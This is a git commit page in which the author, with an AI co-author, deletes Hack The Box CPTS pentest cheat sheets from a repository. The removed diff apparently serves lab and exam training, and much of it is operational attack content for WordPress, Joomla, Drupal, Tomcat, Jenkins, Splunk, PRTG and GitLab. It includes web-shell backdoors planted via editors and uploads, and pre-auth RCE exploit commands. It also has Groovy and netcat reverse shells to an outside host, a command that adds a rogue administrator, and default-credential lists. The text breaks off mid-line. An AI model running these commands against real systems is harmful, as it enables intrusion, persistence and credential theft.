daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

commit 0f04b61e66d7acda4a3318358502a85dbe3f0010
parent 084e6975d2cc4b623d9d042d8457d27243e5bfbe
Author: DAEMON <zer0sec.xp@icloud.com>
Date:   Fri, 18 Sep 2026 23:26:34 +0100

Remove CPTS exam companion and General CPTS cheatsheets

Delete the 2 CPTS exam companion guides and the 9 General CPTS
cheatsheets from the pentest-workflow collection, and drop their
entries from scripts/sync-pentest-workflow.py so the vault sync no
longer regenerates them. Content preserved as source outside the repo.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

Diffstat:
Mscripts/sync-pentest-workflow.py | 10----------
Dsrc/content/sheets/pentest-workflow/attacking-common-applications.md | 639-------------------------------------------------------------------------------
Dsrc/content/sheets/pentest-workflow/attacking-common-modules-dashboard.md | 157-------------------------------------------------------------------------------
Dsrc/content/sheets/pentest-workflow/attacking-common-services.md | 576-------------------------------------------------------------------------------
Dsrc/content/sheets/pentest-workflow/attacking-enterprise-networks.md | 578------------------------------------------------------------------------------
Dsrc/content/sheets/pentest-workflow/cpts-exam-attack-flow.md | 468-------------------------------------------------------------------------------
Dsrc/content/sheets/pentest-workflow/cpts-exam-most-used-commands.md | 269-------------------------------------------------------------------------------
Dsrc/content/sheets/pentest-workflow/linux-privesc-cpts.md | 619-------------------------------------------------------------------------------
Dsrc/content/sheets/pentest-workflow/post-exploitation-persistence-internal-enumeration.md | 1128-------------------------------------------------------------------------------
Dsrc/content/sheets/pentest-workflow/tty-upgrades-and-restricted-shells.md | 948-------------------------------------------------------------------------------
Dsrc/content/sheets/pentest-workflow/web-shells.md | 720-------------------------------------------------------------------------------
Dsrc/content/sheets/pentest-workflow/windows-privesc-cpts.md | 580-------------------------------------------------------------------------------
12 files changed, 0 insertions(+), 6692 deletions(-)

diff --git a/scripts/sync-pentest-workflow.py b/scripts/sync-pentest-workflow.py @@ -67,17 +67,7 @@ SLUGS: dict[str, str] = { "HTB-Attack-Flow-Playbook.md": "htb-attack-flow-playbook", "loot.md": "loot", "Companion Guides/Attack-Flow-Guide.md": "attack-flow-guide", - "Companion Guides/CPTS-Exam-Attack-Flow.md": "cpts-exam-attack-flow", - "Companion Guides/CPTS-Exam-Most-Used-Commands.md": "cpts-exam-most-used-commands", "Companion Guides/Most-Used-Commands.md": "most-used-commands", - "General Pentest Cheatsheets/00 - Attacking Common Modules Dashboard.md": "attacking-common-modules-dashboard", - "General Pentest Cheatsheets/01 - Attacking Common Services - CPTS Cheat Sheet.md": "attacking-common-services", - "General Pentest Cheatsheets/02 - Attacking Common Applications - CPTS Cheat Sheet.md": "attacking-common-applications", - "General Pentest Cheatsheets/03 - Linux Privilege Escalation - CPTS Cheat Sheet.md": "linux-privesc-cpts", - "General Pentest Cheatsheets/04 - Windows Privilege Escalation - CPTS Cheat Sheet.md": "windows-privesc-cpts", - "General Pentest Cheatsheets/05 - Web Shells - CPTS Cheat Sheet.md": "web-shells", - "General Pentest Cheatsheets/06 - TTY Upgrades and Restricted Shells - CPTS Cheat Sheet.md": "tty-upgrades-and-restricted-shells", - "General Pentest Cheatsheets/6 - Post-Exploitation Persistence & Internal Enumeration.md": "post-exploitation-persistence-internal-enumeration", } diff --git a/src/content/sheets/pentest-workflow/attacking-common-applications.md b/src/content/sheets/pentest-workflow/attacking-common-applications.md @@ -1,639 +0,0 @@ ---- -title: "Attacking Common Applications — CPTS Cheat Sheet" -description: "Updated CPTS field reference for attacking common applications — cpts cheat sheet." -category: pentest-workflow -subcategory: "General CPTS Cheatsheets" -order: 26 -tags: ["htb", "cpts", "attacking-common", "applications", "wordpress", "tomcat", "jenkins", "splunk", "gitlab", "dotnetnuke", "shellshock", "pentest-workflow"] -tools: ["nmap / eyewitness / aquatone / httpx", "wpscan / droopescan / joomscan", "gobuster / feroxbuster / ffuf", "metasploit", "msfvenom", "curl / searchsploit", "dnSpy / JD-GUI / ghidra / gdb-peda", "iis_shortname_scanner", "ldapsearch", "jar (WAR packaging)", "nxc", "MSSQL sqlcmd / xp_cmdshell", "winPEAS / PrintSpoofer / linpeas / pspy"] -difficulty: intermediate -updated: "2026-08-29" -source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/02 - Attacking Common Applications - CPTS Cheat Sheet.md" ---- -[← Previous: Common Services](/sheets/pentest-workflow/attacking-common-services) · [Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Next: Linux PrivEsc →](/sheets/pentest-workflow/linux-privesc-cpts) - -# Attacking Common Applications — CPTS Cheat Sheet `fas:ClipboardList` - -> [!dashboard] Section context -> **Section:** [HTB Pentest Workflow](/sheets/pentest-workflow/attacking-common-modules-dashboard) · **Companion:** [Attacking Common Services](/sheets/pentest-workflow/attacking-common-services) -> **Source module:** 24 · Attacking Common Applications · **Web deep dive:** [03 - Stage 02 - Web Enumeration and Exploitation](/sheets/pentest-workflow/web-enumeration-and-exploitation) · **Shell reference:** [Web Shells](/sheets/pentest-workflow/web-shells) - -## Summary `ris:Eye` - -The off-the-shelf web apps you meet on nearly every internal network — **CMS** (WordPress, Joomla, Drupal, DotNetNuke), **servlet/app servers** (Tomcat, Jenkins), **infrastructure/monitoring** (Splunk, PRTG, osTicket, GitLab), plus **CGI/Shellshock, ColdFusion, IIS short-name disclosure, LDAP-backed logins, mass-assignment, and thick clients**. The pattern repeats: **fingerprint the app and exact version → reach the admin/management console (default creds, brute, or OSINT) → turn admin access into code execution** via a theme/plugin/template editor, a script console, a WAR/app upload, or a version-specific CVE. - -> [!success]+ Default payload — the rp-shell family -> `fas:Spider` -> The moment you land an upload or RCE primitive, drop the bundled shell that matches the app server. Full usage, evasion, and handler notes live in [Web Shells](/sheets/pentest-workflow/web-shells): -> - **IIS / ASP.NET (C#):** [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc)) -> - **PHP** (WordPress, Joomla, Drupal, osTicket): [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc)) -> - **Classic ASP (VBScript):** [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.asp.sha256.asc)) -> - **Tomcat / Java (WAR deploy):** [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.jsp.sha256.asc)) - -> [!warning]+ ASP ≠ ASPX — match the language to the extension -> `fas:TriangleExclamation` -> Classic ASP executes **VBScript**; ASPX executes **C#**. Dropping VBScript code into a `.aspx` file fails at runtime with **`Server Error in '/' Application`** — **VBScript → `.asp`, C# → `.aspx`**. For an IIS/ASP.NET target always upload the C# `[nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc))` variant. - -> [!tip]+ After the shell — hand-off to privilege escalation -> `fas:ArrowUp` -> **Windows app host** (IIS, DNN, ColdFusion, PRTG, Tomcat-on-Windows): continue with [04 - Windows Privilege Escalation - CPTS Cheat Sheet](/sheets/pentest-workflow/windows-privesc-cpts) — stage `[winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc))` for enumeration and, when the service account holds `SeImpersonatePrivilege` (IIS apppool / MSSQL / Jenkins almost always do), fire `[PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc))` for SYSTEM. -> **Linux app host** (WordPress, Drupal, GitLab, Splunk, CGI): continue with [03 - Linux Privilege Escalation - CPTS Cheat Sheet](/sheets/pentest-workflow/linux-privesc-cpts) — stage `[linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc))` and watch cron/processes with `[pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256) · [GPG signature](/downloads/pentest-workflow/pspy64.sha256.asc))`. - -> [!danger]+ HTB-Only Boundary -> `fas:TriangleExclamation` -> 1. Authorized engagements / labs only. Many chains here (Drupalgeddon, Ghostcat, ColdFusion RCE, GitLab ExifTool) are full unauth/auth RCE — destructive if misused. -> 2. Admin-console RCE (theme/plugin/script editors) **plants a live backdoor** — track every file and remove it. -> 3. `--api-token`, breach-data lookups, and OSINT touch third parties — stay in scope. - -<figure class="flow plate corners"> - <figcaption class="flow__cap"><span class="flow__kind">Common-app attack flow</span><span class="flow__dir">TD</span></figcaption> - <div class="flow__body"> - <div class="flow__diagram" data-dir="td"> - <div class="flow-rank"><div class="flow-node is-entry">Sweep web ports<span class="sub">80,443,8000,8080,8180,8500,8888,10000</span></div></div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node">Fingerprint app + version<span class="sub">(headers, meta generator,</span><span class="sub">CHANGELOG, favicon, /docs)</span></div></div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node">Reach admin console<span class="sub">(default creds / brute / OSINT)</span></div></div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node is-decision">RCE primitive</div></div> - <div class="flow-branches"> - <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Editor: theme/plugin/template/script</div></div> - <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Upload: WAR / plugin / custom app</div></div> - <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Version CVE</div></div> - </div> - <div class="flow-join"></div> - <div class="flow-rank"><div class="flow-node is-goal">Web/reverse shell</div></div> - </div> - </div> -</figure> - ---- - -## 0 · Discovery & triage `fas:Terminal` - -```bash -printf "%s\t%s\n" "$IP" "app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local" | sudo tee -a /etc/hosts - -sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list -sudo nmap --open -sV $IP - -# Screenshot the estate to triage fast -eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness -cat web_discovery.xml | ./aquatone -nmap -# modern equivalents: httpx -screenshot · gowitness · nuclei -``` - -> [!tip]+ Prioritise the odd vhosts -> `fas:Lightbulb` -> Flag any host/vhost containing `dev / qa / acc / stage` — non-prod copies are patched last and log-in restrictions are looser. Fingerprint *before* attacking: never run a WordPress chain against Joomla, or MySQL syntax against MSSQL. - ---- - -## Application config & loot map `fas:Map` - -After a foothold, inspect the application’s own configuration before launching a broad filesystem search. These files often reveal database credentials, signing secrets, service accounts, internal hostnames, and paths to further evidence. - -| Application | High-value locations | Likely findings | -|---|---|---| -| WordPress | Web root `wp-config.php` | DB name/user/password, salts, table prefix | -| Joomla | Web root `configuration.php` | DB credentials, mail settings, log/tmp paths | -| Drupal | `sites/default/settings.php`, `sites/*/services.yml` | DB URL, hashes/salts, trusted hosts | -| Tomcat | `$CATALINA_BASE/conf/{server.xml,tomcat-users.xml,context.xml}` | Manager roles, JNDI data sources, connector config | -| Jenkins | `$JENKINS_HOME/config.xml`, `credentials.xml`, `secrets/`, job `config.xml` files | Credential IDs/blobs, build secrets, agent keys, command history | -| Splunk | `$SPLUNK_HOME/etc/{system,apps}/*/local/*.conf` | Auth, deployment targets, scripted-input paths | -| GitLab Omnibus | `/etc/gitlab/gitlab.rb`, `/var/opt/gitlab/gitlab-rails/etc/secrets.yml` | External services, Rails secrets, storage paths | -| DotNetNuke (DNN) | Web root `web.config`, `/Portals/` | `<connectionStrings>` MSSQL creds, machine keys, host settings | -| Windows/IIS apps | `web.config`, app directory, service registry key | Connection strings, appSettings, DLL/search paths | - -> [!warning]+ Handle as sensitive evidence -> Collect only what the engagement permits. Record the source path, owner/ACL, timestamp, and hash; do not paste live secrets into the note. Re-test recovered credentials deliberately against in-scope services. - ---- - -## 1 · WordPress `fas:Terminal` — PHP, port 80 - -```bash -# Fingerprint: meta generator, robots.txt → wp-admin/wp-content, /wp-json, ?ver= -curl -s http://blog.inlanefreight.local | grep WordPress # <meta ... content="WordPress 5.8" /> -curl -s http://blog.inlanefreight.local/ | grep -E 'themes|plugins' -# plugin version in wp-content/plugins/<plugin>/readme.txt - -# Enumerate (API token = free 75 req/day) -sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token <TOKEN> -# --enumerate ap = all plugins · --enumerate u = users -# user-enum oracle: "invalid username" vs "incorrect password" - -# Brute force over XML-RPC (faster — many guesses per request) -sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local -``` - -**RCE — Theme Editor (admin ≈ RCE):** `Appearance → Theme Editor → an inactive theme (Twenty Nineteen) → 404.php`, add: -```php -system($_GET[0]); -``` -```bash -curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id -# Metasploit: exploit/unix/webapp/wp_admin_shell_upload (malicious plugin + PHP meterpreter) -# Preferred implant: upload [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc)) zipped as a plugin, or drop its body into 404.php -``` - -**Unauth plugin bugs:** -```bash -# mail-masta LFI (unauthenticated include via pl=) -curl -s "http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd" - -# wpDiscuz unauth upload RCE — CVE-2020-24186 (client-side-only MIME check) -python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1 -curl -s "http://blog.inlanefreight.local/wp-content/uploads/2021/08/<uploaded>.php?cmd=id" -``` -Post-ex on the (Linux) host → [03 - Linux Privilege Escalation - CPTS Cheat Sheet](/sheets/pentest-workflow/linux-privesc-cpts) with `[linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc))`. - ---- - -## 2 · Joomla `fas:Terminal` — PHP/MySQL - -```bash -# Fingerprint: meta generator, /administrator/, README.txt, version XML -curl -s http://dev.inlanefreight.local/ | grep Joomla -curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format - # <version>3.9.4</version> -# also plugins/system/cache/cache.xml ; whatweb - -# Enumerate -sudo pip3 install droopescan -droopescan scan joomla --url http://dev.inlanefreight.local/ - -# Brute admin (generic login error → target the known 'admin') -sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin -``` - -**RCE — Template editor:** `Configuration → Templates → protostar → Templates: Customise → error.php`: -```php -system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); -``` -```bash -curl -s "http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id" -# or paste the body of [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc)) into error.php for the full shell -# CVE-2019-10945 — auth dir-traversal + file delete (core 1.5.0–3.9.4) -python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir / -``` - ---- - -## 3 · Drupal `fas:Terminal` - -```bash -# Fingerprint: "Powered by Drupal", CHANGELOG.txt, /node/<id> -curl -s http://drupal.inlanefreight.local | grep Drupal -curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 "" # Drupal 7.57, 2018-02-21 -droopescan scan drupal -u http://drupal.inlanefreight.local -``` - -**RCE — PHP Filter module (Drupal 7; disabled by default):** enable *PHP filter* → add a Basic page with Text format = *PHP code*: -```php -<?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?> -``` -```bash -curl -s "http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id" -# Drupal 8+ removed it from core → install the module: -wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz # Reports > Available updates > Install new module -``` - -**RCE — backdoored module upload (Drupal 8+):** -```bash -wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz && tar xvf captcha-8.x-1.2.tar.gz -# add shell.php: <?php system($_GET['fe8edbabc5c5c9b7b764504cd22b17af']); ?> (or [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc))) -# add .htaccess re-enabling /modules access, then: -mv shell.php .htaccess captcha && tar cvf captcha.tar.gz captcha/ -# Manage → Extend → + Install new module → captcha.tar.gz -curl -s "http://drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id" -``` - -**Drupalgeddon family:** -```bash -# CVE-2014-3704 · pre-auth SQLi, Drupal 7.0–7.31 → rogue admin -python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd # msf: multi/http/drupal_drupageddon - -# CVE-2018-7600 (Drupalgeddon2) · pre-auth RCE, <7.58 / <8.5.1 -python3 drupalgeddon2.py -curl http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id - -# CVE-2018-7602 (Drupalgeddon3) · auth RCE — msf multi/http/drupal_drupageddon3 -# needs node-delete rights + a valid session cookie (set DRUPAL_SESSION, DRUPAL_NODE, VHOST) -``` - ---- - -## 4 · Tomcat `fas:Terminal` — 8080/8180, AJP 8009 - -```bash -# Fingerprint + find the manager -curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat # Apache Tomcat 9 (9.0.30) -gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -# creds live in conf/tomcat-users.xml (roles: manager-gui / manager-script / manager-jmx / manager-status) -# /manager/html = GUI · /manager/text = script interface (used by msf and tooling) - -# Brute: msf auxiliary/scanner/http/tomcat_mgr_login (set VHOST, RPORT 8180, stop_on_success true) -``` - -**Default / common manager credentials:** - -| Username | Password | Notes | -|---|---|---| -| `tomcat` | `tomcat` | Most common default | -| `tomcat` | `s3cret` | Shipped sample `tomcat-users.xml` | -| `tomcat` | `admin` | Frequent admin-laziness combo | -| `admin` | `admin` | Common on vendor-bundled Tomcat | -| `admin` | `password` / `tomcat` | Spray alongside the defaults | -| `both` / `role1` | `tomcat` | Sample users left in `tomcat-users.xml` | - -**RCE — WAR deploy (manager → JSP web shell):** -```bash -# Preferred: package the bundled JSP shell as a WAR (a .war is just a zip) -jar -cvf shell.war rp-shell.jsp # [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.jsp.sha256.asc)) (zip -r shell.war rp-shell.jsp also works) -# Manager GUI → "WAR file to deploy" → shell.war → app root = war filename -curl "http://web01.inlanefreight.local:8180/shell/rp-shell.jsp" - -# Fallback one-liner cmd shell -wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp -zip -r backup.war cmd.jsp # Manager → deploy backup.war -curl "http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id" - -# Reverse-shell WAR + automated manager upload -msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o backup.war -msfconsole -q -x "use exploit/multi/http/tomcat_mgr_upload; set RHOSTS web01.inlanefreight.local; set RPORT 8180; \ - set HttpUsername tomcat; set HttpPassword s3cret; set TARGETURI /manager; run" -# manager-script creds can also deploy via: curl -u tomcat:s3cret -T backup.war "http://host:8180/manager/text/deploy?path=/backup" -``` - -**Unauth / OS-specific CVEs:** -```bash -# Ghostcat — CVE-2020-1938 · unauth AJP LFI (< 9.0.31 / 8.5.51 / 7.0.100) -nmap -sV -p 8009,8080 app-dev.inlanefreight.local -python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml - -# CGI Servlet injection — CVE-2019-0232 (Windows only; & chains, URL-encode to bypass) -ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat -# http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe (%3A=: %5C=\) -``` -On Windows the Tomcat service usually runs as a service account with `SeImpersonatePrivilege` → post-ex with [04 - Windows Privilege Escalation - CPTS Cheat Sheet](/sheets/pentest-workflow/windows-privesc-cpts) ([winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc))`, `[PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc))`). - ---- - -## 5 · Jenkins `fas:Terminal` — 8080 (lab 8000), agent 5000 - -Runs as **SYSTEM** (Windows) / **root** (Linux). Check anonymous read/build first (`/script`, `/asynchPeople`, `/jenkins/script` on older installs), then the Groovy **Script Console** at `/script`. - -```groovy -// Run a command -def cmd = 'id' -def sout = new StringBuffer(), serr = new StringBuffer() -def proc = cmd.execute(); proc.consumeProcessOutput(sout, serr); proc.waitForOrKill(1000) -println sout -``` -```groovy -// Linux reverse shell -r = Runtime.getRuntime() -p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) -p.waitFor() -``` -```groovy -// Windows command -def cmd = "cmd.exe /c dir".execute(); println("${cmd.text}"); -``` -```groovy -// Windows reverse shell (PowerShell cradle from the Script Console) -def cmd = "powershell -e <base64-revshell>".execute(); println("${cmd.text}"); -``` -```bash -# Automated authenticated RCE once you have any admin-ish account: -msfconsole -q -x "use exploit/multi/http/jenkins_script_console; set RHOSTS $IP; set USERNAME admin; set PASSWORD admin; run" -``` -> CVE chain (patched by 2.303.1 LTS): **CVE-2018-1999002 + CVE-2019-1003000** — script-security sandbox bypass, pre-auth RCE on 2.137. -> -> A SYSTEM shell on Windows Jenkins hands you `SeImpersonatePrivilege` out of the box → [04 - Windows Privilege Escalation - CPTS Cheat Sheet](/sheets/pentest-workflow/windows-privesc-cpts) with `[winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc))` / `[PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc))`; on Linux hand off to [03 - Linux Privilege Escalation - CPTS Cheat Sheet](/sheets/pentest-workflow/linux-privesc-cpts) with `[linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc))` / `[pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256) · [GPG signature](/downloads/pentest-workflow/pspy64.sha256.asc))`. - ---- - -## 6 · Splunk `fas:Terminal` — web 8000, mgmt/REST 8089 - -```bash -sudo nmap -sV $IP # 8000 & 8089 = Splunkd httpd ; trial drops to unauth "Free" after 60 days -# Default/weak: admin:changeme (shown on login page), admin:Welcome1, admin:Password123 -# REST check: curl -k -u admin:changeme https://$IP:8089/services/server/info -``` - -**RCE — malicious custom app** (`splunk_shell/` with `bin/` + `default/`). `default/inputs.conf`: -```ini -[script://.\bin\run.bat] -disabled = 0 -sourcetype = shell -interval = 10 -``` -`bin/run.bat`: -```batch -@ECHO OFF -PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'" -Exit -``` -```bash -tar -cvzf updater.tar.gz splunk_shell/ && sudo nc -lnvp 443 -# Manage Apps → Install app from file → updater.tar.gz (shell as nt authority\system / root) -# Universal Forwarders lack Python → use the PowerShell/.bat variant, not the Python one -# Pivot: drop the app in $SPLUNK_HOME/etc/deployment-apps → RCE on every Forwarder -``` - -> [!tip]+ Thin-privilege accounts still pop boxes -> `fas:Lightbulb` -> A non-admin Splunk user holding `edit_user` or `admin_all_objects`-adjacent capabilities can push apps over REST (8089) — **PySplunkWhisperer2** automates app-upload RCE for exactly this case. After SYSTEM on the Splunk host, hand off to [04 - Windows Privilege Escalation - CPTS Cheat Sheet](/sheets/pentest-workflow/windows-privesc-cpts) (Windows) or [03 - Linux Privilege Escalation - CPTS Cheat Sheet](/sheets/pentest-workflow/linux-privesc-cpts) (Linux). - ---- - -## 7 · PRTG Network Monitor `fas:Terminal` — Windows, 8080 - -```bash -sudo nmap -sV -p- --open -T4 $IP -curl -s "http://$IP:8080/index.htm" -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep version -# "PRTG Network Monitor 17.3.33.2830" (< 18.2.39 = vulnerable) -# Default: prtgadmin:prtgadmin (often pre-filled) ; weak: prtgadmin:Password123 -``` - -**RCE — CVE-2018-9276** (authenticated command injection via a notification, blind): -`Setup → Account Settings → Notifications → Add → tick EXECUTE PROGRAM → Program File: `Demo exe notification - outfile.ps1`` with parameter: -```batch -test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add -``` -Save → **Test**, then confirm out-of-band: -```bash -sudo nxc smb $IP -u prtgadm1 -p 'Pwn3d_by_PRTG!' # (Pwn3d!) = local admin [HTB: Netmon] -# msf: exploit/windows/http/prtg_authenticated_rce -``` - ---- - -## 8 · osTicket `fas:Terminal` — methodology / OSINT (no core CVE in the module) - -Fingerprint by the `OSTSESSID` cookie and the "powered by osTicket" footer. - -- Submit a ticket → harvest the **company reply-to email** → self-register on portals that gate by email domain (Slack, GitLab, Mattermost, Rocket.Chat). -- Mine closed tickets for password resets / "standard new-joiner password" sent in plaintext; export the address book as a spraying user list. - -```bash -# Breach-data OSINT for reuse -sudo python3 dehashed.py -q inlanefreight.local -p # e.g. password : Fish1ng_s3ason! -# alternatives: HIBP, intelx.io, linkedin2username [HTB: Delivery] -``` - -**CVE pointers (version-gated — always pull the exact build first):** - -| CVE | Affected | Impact | -|---|---|---| -| **CVE-2026-22200** | ≤ 1.18.2 / ≤ 1.17.6 | Unauth arbitrary file read via ticket PDF export (mPDF + PHP filters); chains with CVE-2024-2961 (CNEXT) into RCE — reads `include/ost-config.php` DB creds | -| **CVE-2025-26241** | ≤ 1.17.5 | Authenticated SQLi in `tickets.php` search (`keywords` + `topic_id`) | -| **CVE-2017-15580** | 1.10.1 | Unrestricted file upload — extension swap `.html` → arbitrary (stored XSS / exe drop) | -| **CVE-2017-14396** | < 1.10.1 | SQLi via array parameter (`key[]`) in `file.php` | - ---- - -## 9 · GitLab `fas:Terminal` — Linux (lab 8081) - -```bash -# /explore lists public projects unauthenticated; version via /help after login -# Username enum via /users/sign_up ("Email has already been taken") — works even if sign-up is disabled -./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt -# lockout: 10 fails → 10-min auto-unlock -# Register hacker:Welcome1 → /explore for secrets, SSH keys, commit history, snippets -``` - -**RCE — GitLab CE ≤ 13.10.2** (authenticated, ExifTool metadata parsing; Exploit-DB 49951): -```bash -python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 \ - -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f ' -nc -lnvp 8443 # shell as git (uid 996) -# successor: CVE-2021-22205 — unauth ExifTool RCE on later versions (DjVu parser, file upload → RCE) -``` -Post-ex as `git` → loot `/etc/gitlab/gitlab.rb` + Rails secrets, then [03 - Linux Privilege Escalation - CPTS Cheat Sheet](/sheets/pentest-workflow/linux-privesc-cpts) with `[linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc))` / `[pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256) · [GPG signature](/downloads/pentest-workflow/pspy64.sha256.asc))`. - ---- - -## 10 · CGI / Shellshock `fas:Terminal` — Linux, `cgi-bin` (CVE-2014-6271) - -```bash -# Underlying-bug test (Bash ≤ 4.3) -env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable" - -# Discover a 